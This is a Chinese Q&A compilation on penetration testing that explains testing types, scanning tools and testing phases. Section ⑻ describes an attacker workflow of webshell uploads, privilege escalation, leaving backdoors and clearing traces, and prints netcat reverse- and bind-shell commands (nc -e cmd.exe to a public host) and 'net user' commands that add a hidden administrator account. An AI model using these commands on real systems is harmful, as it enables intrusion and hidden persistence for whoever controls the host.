⑴ 軟體測試和滲透測試的區別是什麼
軟體測試主要工作內容是驗證和確認，發現軟體中的缺陷或者不足，然後把發現的問題整理成報告並分析出軟體質量的好壞。驗證是保證軟體正確地實現了一些特定功能的一系列活動;確認是一系列的活動和過程，目的是想證實在一個給定的外部環境中軟體的邏輯正確性，即保證軟體做了你所期望的事情。
滲透測試主要包括：黑盒測試、白盒測試和灰盒測試。主要做的工作有：信息收集、埠掃描、許可權提升、遠程溢出攻擊、WEB應用測試、sql注入攻擊、跨站攻擊、後門程序檢查等。
從測試內容來看，就有很大的不同。想要了解更多可以關注「老男孩Linux」公眾號。
⑵ WEB伺服器安全滲透性測試方案
http://hi..com/zh2089/blog/category/%B1%BE%C8%CB%D4%AD%B4%B4
本人博客的幾篇原創文章，裡面有一些實例，LZ覺得可以的話請給最佳答案
⑶ fortify sca及webinspect分別做哪一方面的安全測試
fortify sca是做源代碼掃描的，白盒工具
webinspect是做WEB應用掃描的，滲透測試，黑盒工具。
⑷ 什麼是wed滲透測試
應該說的是web滲透測試吧。
web就是網站、網站的應用這個層次的。
也就是主要是用於測試網站的安全性的一種安全檢測。
⑸ 如何進行web滲透測試
Web應用的滲透測試流程主要分為3個階段：信息收集、漏洞發現、漏洞利用。
一、信息收集
在信息收集階段，我們需要盡量多的收集關於目標web應用的各種信息，比如：腳本語言的類型、伺服器的類型、目錄的結構、使用的開源軟體、資料庫類型、所有鏈接頁面，用到的框架等
二、漏洞發現
在這個階段我們在做測試的時候要對症下葯，不能盲目的去掃描，首先要確定目標應用是否使用的是公開的開源軟體，開源框架等、然後在做深一度的漏洞掃描。
三、漏洞利用
針對不同的弱點有不同的漏洞利用方式，需要的知識點也比較多。一般這個階段包括兩種方式，一種是手工測試，一種是工具測試。
手工測試
手工測試是通過客戶端或伺服器訪問目標服務，手工向目標程序發送特殊的數據，包括有效的和無效的輸入，觀察目標的狀態、對各種輸入的反應，根據結果來發現問題的漏洞檢測技術。
工具測試
網路上有很多好用的免費利用工具，比如針對sql注入的sqlmap、針對軟體漏洞的matesploit等。
⑹ web前端和web滲透有什麼區別
你是打錯了吧？這兩個東西怎麼會搭邊。
web前端是給用戶交互的界面
web滲透是你鑽別人網站伺服器里去
⑺ 什麼是滲透測試黑客安全專家郭盛華這樣說
近日，國內知名黑客安全專家、東方聯盟創始人郭盛華表示：「滲透測試是針對您的非惡意計算機系統的模擬網路攻擊，以檢查可利用的漏洞。這是一系列針對性的非惡意攻擊，旨在破壞您的網路安全防護。但是，滲透測試和真實黑客攻擊之間的區別在於，滲透測試是由道德安全專家進行的，他們將提取的數據保密，最終幫助您改善安全狀況。」
我們模擬了一個外部攻擊者，試圖利用您面向Internet的網路和應用程序來幫助您確定外圍的可利用漏洞和弱點，這些漏洞和弱點會讓您暴露在危險之中。
滲透測試與漏洞評估
滲透測試和漏洞評估之間的主要區別在於，盡管兩者都從初始掃描和發現的漏洞的調查開始，但是在漏洞評估期間不會執行攻擊媒介，例如社交工程，外部/內部網路服務，Web應用程序等。
將漏洞評估和滲透測試視為對整體網路安全計劃的同等重要投資。但是，滲透測試需要更長的時間，並且是一項更廣泛的研究。
要了解有關使它們與眾不同的更多信息，請閱讀我們的博客「滲透測試與漏洞評估：關鍵差異」。
滲透測試的6種類型
當一家公司說他們將進行一次滲透測試時，重要的是找出他們提供的滲透測試。
有六種核心類型：
外部網路
內部網路
社會工程學
物理
無線
網路/移動應用
在篩選任何公司之前，請詳細了解有關6種滲透測試的類型。
滲透測試的四個階段
無論滲透測試的類型如何，通常都有四個階段，所有這些階段都應得到同等的重視：
規劃
進攻前
攻擊
進攻後
雖然很容易假設進行攻擊就很重要，但是任何妥協的成功通常取決於實際利用之前和之後發生的事情。
郭盛華說：「社交工程攻擊之所以有效，是因為黑客在植入誘餌之前先與受害者建立了關系並建立了信任，這意味著在發送被惡意軟體感染的鏈接或不良行為者要求接收者執行任務之前，會進行很多策略和緩慢的滋養。?」（歡迎轉載分享）
本文來源於汽車之家車家號作者，不代表汽車之家的觀點立場。
⑻ web滲透是什麼
Web滲透測試分為白盒測試和黑盒測試，白盒測試是指目標網站的源碼等信息的情況下對其滲透，相當於代碼分析審計。而黑盒測試則是在對該網站系統信息不知情的情況下滲透，以下所說的Web滲透就是黑盒滲透。
Web滲透分為以下幾個步驟，信息收集，漏洞掃描，漏洞利用，提權，內網滲透，留後門，清理痕跡。一般的滲透思路就是看是否有注入漏洞，然後注入得到後台管理員賬號密碼，登錄後台，上傳小馬，再通過小馬上傳大馬，提權，內網轉發，進行內網滲透，掃描內網c段存活主機及開放埠，看其主機有無可利用漏洞（nessus）埠（nmap）對應服務及可能存在的漏洞，對其利用（msf）拿下內網，留下後門，清理痕跡。或者看是否有上傳文件的地方，上傳一句話木馬，再用菜刀鏈接，拿到資料庫並可執行cmd命令，可繼續上大馬.........思路很多，很多時候成不成功可能就是一個思路的問題，技術可以不高，思路一定得騷。
信息收集
信息收集是整個流程的重中之重，前期信息收集的越多，Web滲透的成功率就越高。
DNS域名信息：通過url獲取其真實ip,子域名(Layer子域名爆破機)，旁站(K8旁站，御劍1.5)，c段，網站負責人及其信息（whois查詢）
整站信息：伺服器操作系統、伺服器類型及版本(Apache/Nginx/Tomcat/IIS)、資料庫類型(Mysql/Oracle/Accees/Mqlserver)、腳本類型(php/jsp/asp/aspx)、CMS類型；
網站常見搭配為：
ASP和ASPX：ACCESS、SQLServer
PHP：MySQL、PostgreSQL
JSP：Oracle、MySQL
敏感目錄信息（御劍，dirbust）
開放埠信息（nmp）
漏洞掃描
利用AWVS,AppScan,OWASP-ZAP,等可對網站進行網站漏洞的初步掃描，看其是否有可利用漏洞。
常見漏洞：
SQL注入
XSS跨站腳本
CSRF跨站請求偽造
XXE(XML外部實體注入)漏洞
SSRF(服務端請求偽造)漏洞
文件包含漏洞
文件上傳漏洞
文件解析漏洞
遠程代碼執行漏洞
CORS跨域資源共享漏洞
越權訪問漏洞
目錄遍歷漏洞和任意文件讀取/下載漏洞
漏洞利用
用工具也好什麼也好對相應漏洞進行利用
如：
Sql注入（sqlmap）
XSS（BEEF）
後台密碼爆破（burp）
埠爆破（hydra）
提權
獲得shell之後我們許可權可能很低，因此要對自己提權，可以根據伺服器版本對應的exp進行提權，對於Windows系統也可看其補丁對應漏洞的exp進行提權
內網滲透
首先進行埠轉發可用nc
nc使用方法：
反向連接
在公網主機上進行監聽：
nc-lvp 4444
在內網主機上執行：
nc-e cmd.exe 公網主機ip4444
成功之後即可得到一個內網主機shell
正向連接
遠程主機上執行：
nc-l -p 4444 -t -e cmd.exe
本地主機上執行：
nc-vv 遠程主機ip4444
成功後，本地主機即可遠程主機的一個shell
然後就是對內網進行滲透了，可以用主機漏洞掃描工具（nessus,x-scan等）進行掃描看是否有可用漏洞，可用msf進行利用，或者用nmap掃描存活主機及開放埠，可用hydra進行埠爆破或者用msf對埠對應漏洞得到shell拿下內網留後門
留後門
對於網站上傳一句話木馬，留下後門
對於windows用戶可用hideadmin創建一個超級隱藏賬戶
手工：
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
這樣的話在cmd命令中看不到，但在控制面板可以看到，還需要改注冊表才能實現控製版面也看不到，太過麻煩，不多贅述，所以還是用工具省心省力。
⑼ 什麼是滲透測試如何做滲透測試
滲透測試，是為了證明網路防禦按照預期計劃正常運行而提供的一種機制。不妨假設，你的公司定期更新安全策略和程序，時時給系統打補丁，並採用了漏洞掃描器等工具，以確保所有補丁都已打上。如果你早已做到了這些，為什麼還要請外方進行審查或滲透測試呢？因為，滲透測試能夠獨立地檢查你的網路策略，換句話說，就是給你的系統安了一雙眼睛。而且，進行這類測試的，都是尋找網路系統安全漏洞的專業人士。
滲透測試一定要遵循軟體測試基本流程，要知道測試過程和目標特殊，在具體實施步驟上主要包含以下幾步：
1、明確目標
當測試人員拿到需要做滲透測試的項目時，首先確定測試需求，如測試是針對業務邏輯漏洞，還是針對人員管理許可權漏洞等;然後確定客戶要求滲透測試的范圍，如ip段、域名、整站滲透或者部分模塊滲透等;最後確定滲透測試規則，如能夠滲透到什麼程度，是確定漏洞為止還是繼續利用漏洞進行更進一步的測試，是否允許破壞數據、是否能夠提升許可權等。
2、收集信息
在信息收集階段要盡量收集關於項目軟體的各種信息。比如：對於一個Web應用程序，要收集腳本類型、伺服器類型、資料庫類型以及項目所用到的框架、開源軟體等。信息收集對於滲透測試來說非常重要，只要掌握目標程序足夠多的信息，才能更好地進行漏洞檢測。
信息收集的方式可分為以下2種：主動收集、被動收集。
3、掃描漏洞
在這個階段，綜合分析收集到的信息，藉助掃描工具對目標程序進行掃描，查找存在的安全漏洞。
4、驗證漏洞
在掃描漏洞階段，測試人員會得到很多關於目標程序的安全漏洞，但這些漏洞有誤報，需要測試人員結合實際情況，搭建模擬測試環境對這些安全漏洞進行驗證。被確認的安全漏洞才能被利用執行攻擊。
5、分析信息
經過驗證的安全漏洞就可以被利用起來向目標程序發起攻擊，但是不同的安全漏洞，攻擊機制不同，針對不同的安全漏洞需要進一步分析，制定一個詳細的攻擊計劃，這樣才能保證測試順利執行。
6、滲透攻擊
滲透攻擊實際是對目標程序進行的真正攻擊，為了達到測試的目的，像是獲取用戶賬號密碼、截取目標程序傳輸數據等。滲透測試是一次性測試，在攻擊完成後能夠執行清理工作。
7、整理信息
滲透攻擊完成後，整理攻擊所獲得的信息，為後邊編寫測試報告提供依據。
8、編寫報告
測試完成之後要編寫報告，闡述項目安全測試目標、信息收集方式、漏洞掃描工具以及漏洞情況、攻擊計劃、實際攻擊結果等。此外，還要對目標程序存在的漏洞進行分析，提供安全有效的解決辦法。
⑽ fortify sca及webinspect分別做哪一方面的安全測試，並簡單闡述它們的工作原理
fortify sca 是做源代碼安全掃描的，白盒工具
webinspect是做WEB應用安全掃描的，相當於做滲透測試。黑盒工具。
不過這兩者掃描的結果可以一起做分析 ，效果很好。